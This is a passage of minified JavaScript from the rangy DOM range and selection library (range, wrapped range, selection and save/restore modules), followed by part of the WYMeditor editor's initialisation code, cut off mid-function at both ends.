e("HIERARCHY_REQUEST_ERR");var b=k(a,this.startContainer,this.startOffset);this.setStartBefore(b)},cloneContents:function(){N(this);var a,b;if(this.collapsed)return g(this).createDocumentFragment();if(this.startContainer===this.endContainer&&c.isCharacterDataNode(this.startContainer))return a=this.startContainer.cloneNode(!0),a.data=a.data.slice(this.startOffset,this.endOffset),b=g(this).createDocumentFragment(),b.appendChild(a),b;var d=new r(this,!0);return a=l(d),d.detach(),a},canSurroundContents:function(){N(this),J(this.startContainer),J(this.endContainer);var a=new r(this,!0),b=a._first&&f(a._first,this)||a._last&&f(a._last,this);return a.detach(),!b},surroundContents:function(a){G(a,y);if(!this.canSurroundContents())throw new s("BAD_BOUNDARYPOINTS_ERR");var b=this.extractContents();if(a.hasChildNodes())while(a.lastChild)a.removeChild(a.lastChild);k(a,this.startContainer,this.startOffset),a.appendChild(b),this.selectNode(a)},cloneRange:function(){N(this);var a=new bh(g(this)),b=S.length,c;while(b--)c=S[b],a[c]=this[c];return a},toString:function(){N(this);var a=this.startContainer;if(a===this.endContainer&&c.isCharacterDataNode(a))return a.nodeType==3||a.nodeType==4?a.data.slice(this.startOffset,this.endOffset):"";var b=[],d=new r(this,!0);return m(d,function(a){(a.nodeType==3||a.nodeType==4)&&b.push(a.data)}),d.detach(),b.join("")},compareNode:function(a){N(this);var b=a.parentNode,d=c.getNodeIndex(a);if(!b)throw new e("NOT_FOUND_ERR");var f=this.comparePoint(b,d),g=this.comparePoint(b,d+1);return f<0?g>0?Z:X:g>0?Y:$},comparePoint:function(a,b){return N(this),K(a,"HIERARCHY_REQUEST_ERR"),I(a,this.startContainer),c.comparePoints(a,b,this.startContainer,this.startOffset)<0?-1:c.comparePoints(a,b,this.endContainer,this.endOffset)>0?1:0},createContextualFragment:R,toHtml:function(){N(this);var a=g(this).createElement("div");return a.appendChild(this.cloneContents()),a.innerHTML},intersectsNode:function(a,b){N(this),K(a,"NOT_FOUND_ERR");if(c.getDocument(a)!==g(this))return!1;var d=a.parentNode,e=c.getNodeIndex(a);K(d,"NOT_FOUND_ERR");var f=c.comparePoints(d,e,this.endContainer,this.endOffset),h=c.comparePoints(d,e+1,this.startContainer,this.startOffset);return b?f<=0&&h>=0:f<0&&h>0},isPointInRange:function(a,b){return N(this),K(a,"HIERARCHY_REQUEST_ERR"),I(a,this.startContainer),c.comparePoints(a,b,this.startContainer,this.startOffset)>=0&&c.comparePoints(a,b,this.endContainer,this.endOffset)<=0},intersectsRange:function(a,b){N(this);if(g(a)!=g(this))throw new e("WRONG_DOCUMENT_ERR");var d=c.comparePoints(this.startContainer,this.startOffset,a.endContainer,a.endOffset),f=c.comparePoints(this.endContainer,this.endOffset,a.startContainer,a.startOffset);return b?d<=0&&f>=0:d<0&&f>0},intersection:function(a){if(this.intersectsRange(a)){var b=c.comparePoints(this.startContainer,this.startOffset,a.startContainer,a.startOffset),d=c.comparePoints(this.endContainer,this.endOffset,a.endContainer,a.endOffset),e=this.cloneRange();return b==-1&&e.setStart(a.startContainer,a.startOffset),d==1&&e.setEnd(a.endContainer,a.endOffset),e}return null},union:function(a){if(this.intersectsRange(a,!0)){var b=this.cloneRange();return c.comparePoints(a.startContainer,a.startOffset,this.startContainer,this.startOffset)==-1&&b.setStart(a.startContainer,a.startOffset),c.comparePoints(a.endContainer,a.endOffset,this.endContainer,this.endOffset)==1&&b.setEnd(a.endContainer,a.endOffset),b}throw new s("Ranges do not intersect")},containsNode:function(a,b){return b?this.intersectsNode(a,!1):this.compareNode(a)==$},containsNodeContents:function(a){return this.comparePoint(a,0)>=0&&this.comparePoint(a,c.getNodeLength(a))<=0},containsRange:function(a){return this.intersection(a).equals(a)},containsNodeText:function(a){var b=this.cloneRange();b.selectNode(a);var c=b.getNodes([3]);if(c.length>0){b.setStart(c[0],0);var d=c.pop();b.setEnd(d,d.length);var e=this.containsRange(b);return b.detach(),e}return this.containsNodeContents(a)},createNodeIterator:function(a,b){return N(this),new t(this,a,b)},getNodes:function(a,b){return N(this),p(this,a,b)},getDocument:function(){return g(this)},collapseBefore:function(a){F(this),this.setEndBefore(a),this.collapse(!1)},collapseAfter:function(a){F(this),this.setStartAfter(a),this.collapse(!0)},getName:function(){return"DomRange"},equals:function(a){return bh.rangesEqual(this,a)},inspect:function(){return q(this)}},bd(bh,bf,bg),a.rangePrototype=_.prototype,bh.rangeProperties=S,bh.RangeIterator=r,bh.copyComparisonConstants=bb,bh.createPrototypeRange=bd,bh.inspect=q,bh.getRangeDocument=g,bh.rangesEqual=function(a,b){return a.startContainer===b.startContainer&&a.startOffset===b.startOffset&&a.endContainer===b.endContainer&&a.endOffset===b.endOffset},a.DomRange=bh,a.RangeException=s}),rangy.createModule("WrappedRange",function(a,b){function g(a){var b=a.parentElement(),c=a.duplicate();c.collapse(!0);var e=c.parentElement();c=a.duplicate(),c.collapse(!1);var f=c.parentElement(),g=e==f?e:d.getCommonAncestor(e,f);return g==b?g:d.getCommonAncestor(b,g)}function h(a){return a.compareEndPoints("StartToEnd",a)==0}function i(a,b,c,f){var g=a.duplicate();g.collapse(c);var h=g.parentElement();d.isAncestorOf(b,h,!0)||(h=b);if(!h.canHaveHTML)return new e(h.parentNode,d.getNodeIndex(h));var i=d.getDocument(h).createElement("span"),j,k=c?"StartToStart":"StartToEnd",l,m,n,o;do h.insertBefore(i,i.previousSibling),g.moveToElementText(i);while((j=g.compareEndPoints(k,a))>0&&i.previousSibling);o=i.nextSibling;if(j==-1&&o&&d.isCharacterDataNode(o)){g.setEndPoint(c?"EndToStart":"EndToEnd",a);var p;if(/[\r\n]/.test(o.data)){var q=g.duplicate(),r=q.text.replace(/\r\n/g,"\r").length;p=q.moveStart("character",r);while((j=q.compareEndPoints("StartToEnd",q))==-1)p++,q.moveStart("character",1)}else p=g.text.length;n=new e(o,p)}else l=(f||!c)&&i.previousSibling,m=(f||c)&&i.nextSibling,m&&d.isCharacterDataNode(m)?n=new e(m,0):l&&d.isCharacterDataNode(l)?n=new e(l,l.length):n=new e(h,d.getNodeIndex(i));return i.parentNode.removeChild(i),n}function j(a,b){var c,e,f=a.offset,g=d.getDocument(a.node),h,i,j=g.body.createTextRange(),k=d.isCharacterDataNode(a.node);return k?(c=a.node,e=c.parentNode):(i=a.node.childNodes,c=f<i.length?i[f]:null,e=a.node),h=g.createElement("span"),h.innerHTML="&#feff;",c?e.insertBefore(h,c):e.appendChild(h),j.moveToElementText(h),j.collapse(!b),e.removeChild(h),k&&j[b?"moveStart":"moveEnd"]("character",f),j}a.requireModules(["DomUtil","DomRange"]);var c,d=a.dom,e=d.DomPosition,f=a.DomRange;if(a.features.implementsDomRange&&(!a.features.implementsTextRange||!a.config.preferTextRange))(function(){function h(a){var b=e.length,c;while(b--)c=e[b],a[c]=a.nativeRange[c]}function i(a,b,c,d,e){var f=a.startContainer!==b||a.startOffset!=c,g=a.endContainer!==d||a.endOffset!=e;if(f||g)a.setEnd(d,e),a.setStart(b,c)}function j(a){a.nativeRange.detach(),a.detached=!0;var b=e.length,c;while(b--)c=e[b],a[c]=null}var b,e=f.rangeProperties,g,k;c=function(a){if(!a)throw new Error("Range must be specified");this.nativeRange=a,h(this)},f.createPrototypeRange(c,i,j),b=c.prototype,b.selectNode=function(a){this.nativeRange.selectNode(a),h(this)},b.deleteContents=function(){this.nativeRange.deleteContents(),h(this)},b.extractContents=function(){var a=this.nativeRange.extractContents();return h(this),a},b.cloneContents=function(){return this.nativeRange.cloneContents()},b.surroundContents=function(a){this.nativeRange.surroundContents(a),h(this)},b.collapse=function(a){this.nativeRange.collapse(a),h(this)},b.cloneRange=function(){return new c(this.nativeRange.cloneRange())},b.refresh=function(){h(this)},b.toString=function(){return this.nativeRange.toString()};var l=document.createTextNode("test");d.getBody(document).appendChild(l);var m=document.createRange();m.setStart(l,0),m.setEnd(l,0);try{m.setStart(l,1),g=!0,b.setStart=function(a,b){this.nativeRange.setStart(a,b),h(this)},b.setEnd=function(a,b){this.nativeRange.setEnd(a,b),h(this)},k=function(a){return function(b){this.nativeRange[a](b),h(this)}}}catch(n){g=!1,b.setStart=function(a,b){try{this.nativeRange.setStart(a,b)}catch(c){this.nativeRange.setEnd(a,b),this.nativeRange.setStart(a,b)}h(this)},b.setEnd=function(a,b){try{this.nativeRange.setEnd(a,b)}catch(c){this.nativeRange.setStart(a,b),this.nativeRange.setEnd(a,b)}h(this)},k=function(a,b){return function(c){try{this.nativeRange[a](c)}catch(d){this.nativeRange[b](c),this.nativeRange[a](c)}h(this)}}}b.setStartBefore=k("setStartBefore","setEndBefore"),b.setStartAfter=k("setStartAfter","setEndAfter"),b.setEndBefore=k("setEndBefore","setStartBefore"),b.setEndAfter=k("setEndAfter","setStartAfter"),m.selectNodeContents(l),m.startContainer==l&&m.endContainer==l&&m.startOffset==0&&m.endOffset==l.length?b.selectNodeContents=function(a){this.nativeRange.selectNodeContents(a),h(this)}:b.selectNodeContents=function(a){this.setStart(a,0),this.setEnd(a,f.getEndOffset(a))},m.selectNodeContents(l),m.setEnd(l,3);var o=document.createRange();o.selectNodeContents(l),o.setEnd(l,4),o.setStart(l,2),m.compareBoundaryPoints(m.START_TO_END,o)==-1&m.compareBoundaryPoints(m.END_TO_START,o)==1?b.compareBoundaryPoints=function(a,b){return b=b.nativeRange||b,a==b.START_TO_END?a=b.END_TO_START:a==b.END_TO_START&&(a=b.START_TO_END),this.nativeRange.compareBoundaryPoints(a,b)}:b.compareBoundaryPoints=function(a,b){return this.nativeRange.compareBoundaryPoints(a,b.nativeRange||b)},a.util.isHostMethod(m,"createContextualFragment")&&(b.createContextualFragment=function(a){return this.nativeRange.createContextualFragment(a)}),d.getBody(document).removeChild(l),m.detach(),o.detach()})(),a.createNativeRange=function(a){return a=a||document,a.createRange()};else if(a.features.implementsTextRange){c=function(a){this.textRange=a,this.refresh()},c.prototype=new f(document),c.prototype.refresh=function(){var a,b,c=g(this.textRange);h(this.textRange)?b=a=i(this.textRange,c,!0,!0):(a=i(this.textRange,c,!0,!1),b=i(this.textRange,c,!1,!1)),this.setStart(a.node,a.offset),this.setEnd(b.node,b.offset)},f.copyComparisonConstants(c);var k=function(){return this}();typeof k.Range=="undefined"&&(k.Range=c),a.createNativeRange=function(a){return a=a||document,a.body.createTextRange()}}a.features.implementsTextRange&&(c.rangeToTextRange=function(a){if(a.collapsed){var b=j(new e(a.startContainer,a.startOffset),!0);return b}var c=j(new e(a.startContainer,a.startOffset),!0),f=j(new e(a.endContainer,a.endOffset),!1),g=d.getDocument(a.startContainer).body.createTextRange();return g.setEndPoint("StartToStart",c),g.setEndPoint("EndToEnd",f),g}),c.prototype.getName=function(){return"WrappedRange"},a.WrappedRange=c,a.createRange=function(b){return b=b||document,new c(a.createNativeRange(b))},a.createRangyRange=function(a){return a=a||document,new f(a)},a.createIframeRange=function(b){return a.createRange(d.getIframeDocument(b))},a.createIframeRangyRange=function(b){return a.createRangyRange(d.getIframeDocument(b))},a.addCreateMissingNativeApiListener(function(b){var c=b.document;typeof c.createRange=="undefined"&&(c.createRange=function(){return a.createRange(this)}),c=b=null})}),rangy.createModule("WrappedSelection",function(a,b){function n(a){return(a||window).getSelection()}function o(a){return(a||window).document.selection}function C(a,b,c){var d=c?"end":"start",e=c?"start":"end";a.anchorNode=b[d+"Container"],a.anchorOffset=b[d+"Offset"],a.focusNode=b[e+"Container"],a.focusOffset=b[e+"Offset"]}function D(a){var b=a.nativeSelection;a.anchorNode=b.anchorNode,a.anchorOffset=b.anchorOffset,a.focusNode=b.focusNode,a.focusOffset=b.focusOffset}function E(a){a.anchorNode=a.focusNode=null,a.anchorOffset=a.focusOffset=0,a.rangeCount=0,a.isCollapsed=!0,a._ranges.length=0}function F(b){var c;return b instanceof g?(c=b._selectionNativeRange,c||(c=a.createNativeRange(e.getDocument(b.startContainer)),c.setEnd(b.endContainer,b.endOffset),c.setStart(b.startContainer,b.startOffset),b._selectionNativeRange=c,b.attachListener("detach",function(){this._selectionNativeRange=null}))):b instanceof h?c=b.nativeRange:a.features.implementsDomRange&&b instanceof e.getWindow(b.startContainer).Range&&(c=b),c}function G(a){if(!a.length||a[0].nodeType!=1)return!1;for(var b=1,c=a.length;b<c;++b)if(!e.isAncestorOf(a[0],a[b]))return!1;return!0}function H(a){var b=a.getNodes();if(!G(b))throw new Error("getSingleElementFromRange: range "+a.inspect()+" did not consist of a single element");return b[0]}function I(a){return!!a&&typeof a.text!="undefined"}function J(a,b){var c=new h(b);a._ranges=[c],C(a,c,!1),a.rangeCount=1,a.isCollapsed=c.collapsed}function K(b){b._ranges.length=0;if(b.docSelection.type=="None")E(b);else{var c=b.docSelection.createRange();if(I(c))J(b,c);else{b.rangeCount=c.length;var d,f=e.getDocument(c.item(0));for(var g=0;g<b.rangeCount;++g)d=a.createRange(f),d.selectNode(c.item(g)),b._ranges.push(d);b.isCollapsed=b.rangeCount==1&&b._ranges[0].collapsed,C(b,b._ranges[b.rangeCount-1],!1)}}}function L(a,b){var c=a.docSelection.createRange(),d=H(b),f=e.getDocument(c.item(0)),g=e.getBody(f).createControlRange();for(var h=0,i=c.length;h<i;++h)g.add(c.item(h));try{g.add(d)}catch(j){throw new Error("addRange(): Element within the specified Range could not be added to control selection (does it have layout?)")}g.select(),K(a)}function N(a,b,c){this.nativeSelection=a,this.docSelection=b,this._ranges=[],this.win=c,this.refresh()}function P(a,b){var c=e.getDocument(b[0].startContainer),d=e.getBody(c).createControlRange();for(var f=0,g;f<rangeCount;++f){g=H(b[f]);try{d.add(g)}catch(h){throw new Error("setRanges(): Element within the one of the specified Ranges could not be added to control selection (does it have layout?)")}}d.select(),K(a)}function U(a,b){if(a.anchorNode&&e.getDocument(a.anchorNode)!==e.getDocument(b))throw new i("WRONG_DOCUMENT_ERR")}function V(a){var b=[],c=new j(a.anchorNode,a.anchorOffset),d=new j(a.focusNode,a.focusOffset),e=typeof a.getName=="function"?a.getName():"Selection";if(typeof a.rangeCount!="undefined")for(var f=0,h=a.rangeCount;f<h;++f)b[f]=g.inspect(a.getRangeAt(f));return"["+e+"(Ranges: "+b.join(", ")+")(anchor: "+c.inspect()+", focus: "+d.inspect()+"]"}a.requireModules(["DomUtil","DomRange","WrappedRange"]),a.config.checkSelectionRanges=!0;var c="boolean",d="_rangySelection",e=a.dom,f=a.util,g=a.DomRange,h=a.WrappedRange,i=a.DOMException,j=e.DomPosition,k,l,m="Control",p=a.util.isHostMethod(window,"getSelection"),q=a.util.isHostObject(document,"selection"),r=q&&(!p||a.config.preferTextRange);r?(k=o,a.isSelectionValid=function(a){var b=(a||window).document,c=b.selection;return c.type!="None"||e.getDocument(c.createRange().parentElement())==b}):p?(k=n,a.isSelectionValid=function(){return!0}):b.fail("Neither document.selection or window.getSelection() detected."),a.getNativeSelection=k;var s=k(),t=a.createNativeRange(document),u=e.getBody(document),v=f.areHostObjects(s,["anchorNode","focusNode"]&&f.areHostProperties(s,["anchorOffset","focusOffset"]));a.features.selectionHasAnchorAndFocus=v;var w=f.isHostMethod(s,"extend");a.features.selectionHasExtend=w;var x=typeof s.rangeCount=="number";a.features.selectionHasRangeCount=x;var y=!1,z=!0;f.areHostMethods(s,["addRange","getRangeAt","removeAllRanges"])&&typeof s.rangeCount=="number"&&a.features.implementsDomRange&&function(){var a=document.createElement("iframe");u.appendChild(a);var b=e.getIframeDocument(a);b.open(),b.write("<html><head></head><body>12</body></html>"),b.close();var c=e.getIframeWindow(a).getSelection(),d=b.documentElement,f=d.lastChild,g=f.firstChild,h=b.createRange();h.setStart(g,1),h.collapse(!0),c.addRange(h),z=c.rangeCount==1,c.removeAllRanges();var i=h.cloneRange();h.setStart(g,0),i.setEnd(g,2),c.addRange(h),c.addRange(i),y=c.rangeCount==2,h.detach(),i.detach(),u.removeChild(a)}(),a.features.selectionSupportsMultipleRanges=y,a.features.collapsedNonEditableSelectionsSupported=z;var A=!1,B;u&&f.isHostMethod(u,"createControlRange")&&(B=u.createControlRange(),f.areHostProperties(B,["item","add"])&&(A=!0)),a.features.implementsControlRange=A,v?l=function(a){return a.anchorNode===a.focusNode&&a.anchorOffset===a.focusOffset}:l=function(a){return a.rangeCount?a.getRangeAt(a.rangeCount-1).collapsed:!1};var M;f.isHostMethod(s,"getRangeAt")?M=function(a,b){try{return a.getRangeAt(b)}catch(c){return null}}:v&&(M=function(b){var c=e.getDocument(b.anchorNode),d=a.createRange(c);return d.setStart(b.anchorNode,b.anchorOffset),d.setEnd(b.focusNode,b.focusOffset),d.collapsed!==this.isCollapsed&&(d.setStart(b.focusNode,b.focusOffset),d.setEnd(b.anchorNode,b.anchorOffset)),d}),a.getSelection=function(a){a=a||window;var b=a[d],c=k(a),e=q?o(a):null;return b?(b.nativeSelection=c,b.docSelection=e,b.refresh(a)):(b=new N(c,e,a),a[d]=b),b},a.getIframeSelection=function(b){return a.getSelection(e.getIframeWindow(b))};var O=N.prototype;if(!r&&v&&f.areHostMethods(s,["removeAllRanges","addRange"])){O.removeAllRanges=function(){this.nativeSelection.removeAllRanges(),E(this)};var Q=function(b,c){var d=g.getRangeDocument(c),e=a.createRange(d);e.collapseToPoint(c.endContainer,c.endOffset),b.nativeSelection.addRange(F(e)),b.nativeSelection.extend(c.startContainer,c.startOffset),b.refresh()};x?O.addRange=function(b,c){if(A&&q&&this.docSelection.type==m)L(this,b);else if(c&&w)Q(this,b);else{var d;y?d=this.rangeCount:(this.removeAllRanges(),d=0),this.nativeSelection.addRange(F(b)),this.rangeCount=this.nativeSelection.rangeCount;if(this.rangeCount==d+1){if(a.config.checkSelectionRanges){var e=M(this.nativeSelection,this.rangeCount-1);e&&!g.rangesEqual(e,b)&&(b=new h(e))}this._ranges[this.rangeCount-1]=b,C(this,b,T(this.nativeSelection)),this.isCollapsed=l(this)}else this.refresh()}}:O.addRange=function(a,b){b&&w?Q(this,a):(this.nativeSelection.addRange(F(a)),this.refresh())},O.setRanges=function(a){if(A&&a.length>1)P(this,a);else{this.removeAllRanges();for(var b=0,c=a.length;b<c;++b)this.addRange(a[b])}}}else{if(!(f.isHostMethod(s,"empty")&&f.isHostMethod(t,"select")&&A&&r))return b.fail("No means of selecting a Range or TextRange was found"),!1;O.removeAllRanges=function(){try{this.docSelection.empty();if(this.docSelection.type!="None"){var a;if(this.anchorNode)a=e.getDocument(this.anchorNode);else if(this.docSelection.type==m){var b=this.docSelection.createRange();b.length&&(a=e.getDocument(b.item(0)).body.createTextRange())}if(a){var c=a.body.createTextRange();c.select(),this.docSelection.empty()}}}catch(d){}E(this)},O.addRange=function(a){this.docSelection.type==m?L(this,a):(h.rangeToTextRange(a).select(),this._ranges[0]=a,this.rangeCount=1,this.isCollapsed=this._ranges[0].collapsed,C(this,a,!1))},O.setRanges=function(a){this.removeAllRanges();var b=a.length;b>1?P(this,a):b&&this.addRange(a[0])}}O.getRangeAt=function(a){if(a<0||a>=this.rangeCount)throw new i("INDEX_SIZE_ERR");return this._ranges[a]};var R;if(r)R=function(b){var c;a.isSelectionValid(b.win)?c=b.docSelection.createRange():(c=e.getBody(b.win.document).createTextRange(),c.collapse(!0)),b.docSelection.type==m?K(b):I(c)?J(b,c):E(b)};else if(f.isHostMethod(s,"getRangeAt")&&typeof s.rangeCount=="number")R=function(b){if(A&&q&&b.docSelection.type==m)K(b);else{b._ranges.length=b.rangeCount=b.nativeSelection.rangeCount;if(b.rangeCount){for(var c=0,d=b.rangeCount;c<d;++c)b._ranges[c]=new a.WrappedRange(b.nativeSelection.getRangeAt(c));C(b,b._ranges[b.rangeCount-1],T(b.nativeSelection)),b.isCollapsed=l(b)}else E(b)}};else{if(!v||typeof s.isCollapsed!=c||typeof t.collapsed!=c||!a.features.implementsDomRange)return b.fail("No means of obtaining a Range or TextRange from the user's selection was found"),!1;R=function(a){var b,c=a.nativeSelection;c.anchorNode?(b=M(c,0),a._ranges=[b],a.rangeCount=1,D(a),a.isCollapsed=l(a)):E(a)}}O.refresh=function(a){var b=a?this._ranges.slice(0):null;R(this);if(a){var c=b.length;if(c!=this._ranges.length)return!1;while(c--)if(!g.rangesEqual(b[c],this._ranges[c]))return!1;return!0}};var S=function(a,b){var c=a.getAllRanges(),d=!1;a.removeAllRanges();for(var e=0,f=c.length;e<f;++e)d||b!==c[e]?a.addRange(c[e]):d=!0;a.rangeCount||E(a)};A?O.removeRange=function(a){if(this.docSelection.type==m){var b=this.docSelection.createRange(),c=H(a),d=e.getDocument(b.item(0)),f=e.getBody(d).createControlRange(),g,h=!1;for(var i=0,j=b.length;i<j;++i)g=b.item(i),g!==c||h?f.add(b.item(i)):h=!0;f.select(),K(this)}else S(this,a)}:O.removeRange=function(a){S(this,a)};var T;!r&&v&&a.features.implementsDomRange?(T=function(a){var b=!1;return a.anchorNode&&(b=e.comparePoints(a.anchorNode,a.anchorOffset,a.focusNode,a.focusOffset)==1),b},O.isBackwards=function(){return T(this)}):T=O.isBackwards=function(){return!1},O.toString=function(){var a=[];for(var b=0,c=this.rangeCount;b<c;++b)a[b]=""+this._ranges[b];return a.join("")},O.collapse=function(b,c){U(this,b);var d=a.createRange(e.getDocument(b));d.collapseToPoint(b,c),this.removeAllRanges(),this.addRange(d),this.isCollapsed=!0},O.collapseToStart=function(){if(!this.rangeCount)throw new i("INVALID_STATE_ERR");var a=this._ranges[0];this.collapse(a.startContainer,a.startOffset)},O.collapseToEnd=function(){if(!this.rangeCount)throw new i("INVALID_STATE_ERR");var a=this._ranges[this.rangeCount-1];this.collapse(a.endContainer,a.endOffset)},O.selectAllChildren=function(b){U(this,b);var c=a.createRange(e.getDocument(b));c.selectNodeContents(b),this.removeAllRanges(),this.addRange(c)},O.deleteFromDocument=function(){if(A&&q&&this.docSelection.type==m){var a=this.docSelection.createRange(),b;while(a.length)b=a.item(0),a.remove(b),b.parentNode.removeChild(b);this.refresh()}else if(this.rangeCount){var c=this.getAllRanges();this.removeAllRanges();for(var d=0,e=c.length;d<e;++d)c[d].deleteContents();this.addRange(c[e-1])}},O.getAllRanges=function(){return this._ranges.slice(0)},O.setSingleRange=function(a){this.setRanges([a])},O.containsNode=function(a,b){for(var c=0,d=this._ranges.length;c<d;++c)if(this._ranges[c].containsNode(a,b))return!0;return!1},O.toHtml=function(){var a="";if(this.rangeCount){var b=g.getRangeDocument(this._ranges[0]).createElement("div");for(var c=0,d=this._ranges.length;c<d;++c)b.appendChild(this._ranges[c].cloneContents());a=b.innerHTML}return a},O.getName=function(){return"WrappedSelection"},O.inspect=function(){return V(this)},O.detach=function(){this.win[d]=null,this.win=this.anchorNode=this.focusNode=null},N.inspect=V,a.Selection=N,a.selectionPrototype=O,a.addCreateMissingNativeApiListener(function(b){typeof b.getSelection=="undefined"&&(b.getSelection=function(){return a.getSelection(this)}),b=null})}),rangy.createModule("SaveRestore",function(a,b){function e(a,b){return(b||document).getElementById(a)}function f(a,b){var e="selectionBoundary_"+ +(new Date)+"_"+(""+Math.random()).slice(2),f,g=c.getDocument(a.startContainer),h=a.cloneRange();return h.collapse(b),f=g.createElement("span"),f.id=e,f.style.lineHeight="0",f.style.display="none",f.className="rangySelectionBoundary",f.appendChild(g.createTextNode(d)),h.insertNode(f),h.detach(),f}function g(a,c,d,f){var g=e(d,a);g?(c[f?"setStartBefore":"setEndBefore"](g),g.parentNode.removeChild(g)):b.warn("Marker element has been removed. Cannot restore selection.")}function h(a,b){return b.compareBoundaryPoints(a.START_TO_START,a)}function i(c){c=c||window;var d=c.document;if(!a.isSelectionValid(c)){b.warn("Cannot save selection. This usually happens when the selection is collapsed and the selection document has lost focus.");return}var g=a.getSelection(c),i=g.getAllRanges(),j=[],k,l,m;i.sort(h);for(var n=0,o=i.length;n<o;++n)m=i[n],m.collapsed?(l=f(m,!1),j.push({markerId:l.id,collapsed:!0})):(l=f(m,!1),k=f(m,!0),j[n]={startMarkerId:k.id,endMarkerId:l.id,collapsed:!1,backwards:i.length==1&&g.isBackwards()});for(n=o-1;n>=0;--n)m=i[n],m.collapsed?m.collapseBefore(e(j[n].markerId,d)):(m.setEndBefore(e(j[n].endMarkerId,d)),m.setStartAfter(e(j[n].startMarkerId,d)));return g.setRanges(i),{win:c,doc:d,rangeInfos:j,restored:!1}}function j(c,d){if(!c.restored){var f=c.rangeInfos,h=a.getSelection(c.win),i=[];for(var j=f.length,k=j-1,l,m;k>=0;--k){l=f[k],m=a.createRange(c.doc);if(l.collapsed){var n=e(l.markerId,c.doc);if(n){n.style.display="inline";var o=n.previousSibling;o&&o.nodeType==3?(n.parentNode.removeChild(n),m.collapseToPoint(o,o.length)):(m.collapseBefore(n),n.parentNode.removeChild(n))}else b.warn("Marker element has been removed. Cannot restore selection.")}else g(c.doc,m,l.startMarkerId,!0),g(c.doc,m,l.endMarkerId,!1);j==1&&m.normalizeBoundaries(),i[k]=m}j==1&&d&&a.features.selectionHasExtend&&f[0].backwards?(h.removeAllRanges(),h.addRange(i[0],!0)):h.setRanges(i),c.restored=!0}}function k(a,b){var c=e(b,a);c&&c.parentNode.removeChild(c)}function l(a){var b=a.rangeInfos;for(var c=0,d=b.length,e;c<d;++c)e=b[c],e.collapsed?k(a.doc,e.markerId):(k(a.doc,e.startMarkerId),k(a.doc,e.endMarkerId))}a.requireModules(["DomUtil","DomRange","WrappedRange"]);var c=a.dom,d="";a.saveSelection=i,a.restoreSelection=j,a.removeMarkerElement=k,a.removeMarkers=l}),WYMeditor.editor.prototype.init=function(){var WymClass=!1,SaxListener,prop,h,iframeHtml,boxHtml,aTools,sTools,oTool,sTool,i,aClasses,sClasses,oClass,sClass,aContainers,sContainers,sContainer,oContainer;jQuery.browser.msie?WymClass=new WYMeditor.WymClassExplorer(this):jQuery.browser.mozilla?WymClass=new WYMeditor.WymClassMozilla(this):jQuery.browser.opera?WymClass=new WYMeditor.WymClassOpera(this):jQuery.browser.safari&&(WymClass=new WYMeditor.WymClassSafari(this));if(WymClass===!1)return;jQuery.isFunction(this._options.preInit)&&this._options.preInit(this),SaxListener=new WYMeditor.XhtmlSaxListener,jQuery.extend(SaxListener,WymClass),this.parser=new WYMeditor.XhtmlParser(SaxListener),(this._options.styles||this._options.stylesheet)&&this.configureEditorUsingRawCss(),this.helper=new WYMeditor.XmlHelper;for(prop in WymClass)this[prop]=WymClass[prop];this._box=jQuery(this._element).hide().after(this._options.boxHtml).next().addClass("wym_box_"+this._index),jQuery.isFunction(jQuery.fn.data)&&(jQuery.data(this._box.get(0),WYMeditor.WYM_INDEX,this._index),jQuery.data(this._element.get(0),WYMeditor.WYM_INDEX,this._index)),h=WYMeditor.Helper,iframeHtml=this._options.iframeHtml,iframeHtml=h.replaceAll(iframeHtml,WYMeditor.INDEX,this._index),iframeHtml=h.replaceAll(iframeHtml,WYMeditor.IFRAME_BASE_PATH,this._options.iframeBasePath),boxHtml=jQuery(this._box).html(),boxHtml=h.replaceAll(boxHtml,WYMeditor.LOGO,this._options.logoHtml),boxHtml=h.replaceAll(boxHtml,WYMeditor.TOOLS,this._options.toolsHtml),boxHtml=h.replaceAll(boxHtml,WYMeditor.CONTAINERS,this._options.containersHtml),boxHtml=h.replaceAll(boxHtml,WYMeditor.CLASSES,this._options.classesHtml),boxHtml=h.replaceAll(boxHtml,WYMeditor.HTML,this._options.htmlHtml),boxHtml=h.replaceAll(boxHtml,WYMeditor.IFRAME,iframeHtml),boxHtml=h.replaceAll(boxHtml,WYMeditor.STATUS,this._options.statusHtml),aTools=eval(this._options.toolsItems),sTools="";for(i=0;i<aTools.length;i+=1)oTool=aTools[i],sTool="",oTool.name&&oTool.title&&(sTool=this._options.toolsItemHtml),sTool=h.replaceAll(sTool,WYMeditor.TOOL_NAME,oTool.name),sTool=h.replaceAll(sTool,WYMeditor.TOOL_TITLE,this._options.stringDelimiterLeft+oTool.title+this._options.stringDelimiterRight),sTool=h.replaceAll(sTool,WYMeditor.TOOL_CLASS,oTool.css),sTools+=sTool;boxHtml=h.replaceAll (boxHtml,WYMeditor.TOOLS_ITEMS,sTools),aClasses=eval(this._options.classesItems),sClasses="";for(i=0;i<aClasses.length;i+=1)oClass=aClasses[i],sClass="",oClass.name&&oClass.title&&(sClass=this._options.classesItemHtml),sClass=h.replaceAll(sClass,WYMeditor.CLASS_NAME,oClass.name),sClass=h.replaceAll(sClass,WYMeditor.CLASS_TITLE,oClass.title),sClasses+=sClass;boxHtml=h.replaceAll(boxHtml,WYMeditor.CLASSES_ITEMS,sClasses),aContainers=eval(this._options.containersItems),sContainers="";for(i=0;i<aContainers.length;i+=1)oContainer=aContainers[i],sContainer="",oContainer.name&&oContainer.title&&(sContainer=this._options.containersItemHtml),sContainer=h.replaceAll(sContainer,WYMeditor.CONTAINER_NAME,oContainer.name),sContainer=h.replaceAll(sContainer,WYMeditor.CONTAINER_TITLE,this._options.stringDelimiterLeft+oContainer.title+this._options.stringDelimiterRight),sContainer=h.replaceAll(sContainer,WYMeditor.CONTAINER_CLASS,oContainer.css),sContainers+=sContainer;boxHtml=h.replaceAll(boxHtml,WYMeditor.CONTAINERS_ITEMS,sContainers),boxHtml=this.replaceStrings(boxHtml),jQuery(this._box).html(boxHtml),jQuery(this._box).find(this._options.htmlSelector).hide(),this.loadSkin()},WYMeditor.editor.prototype.bindEvents=function(){var wym=this,$html_val;jQuery(this._box).find(this._options.toolSelector).click(function(){return wym._iframe.contentWindow.focus(),wym.exec(jQuery(this).attr(WYMeditor.NAME)),!1}),jQuery(this._box).find(this._options.containerSelector).click(function(){return 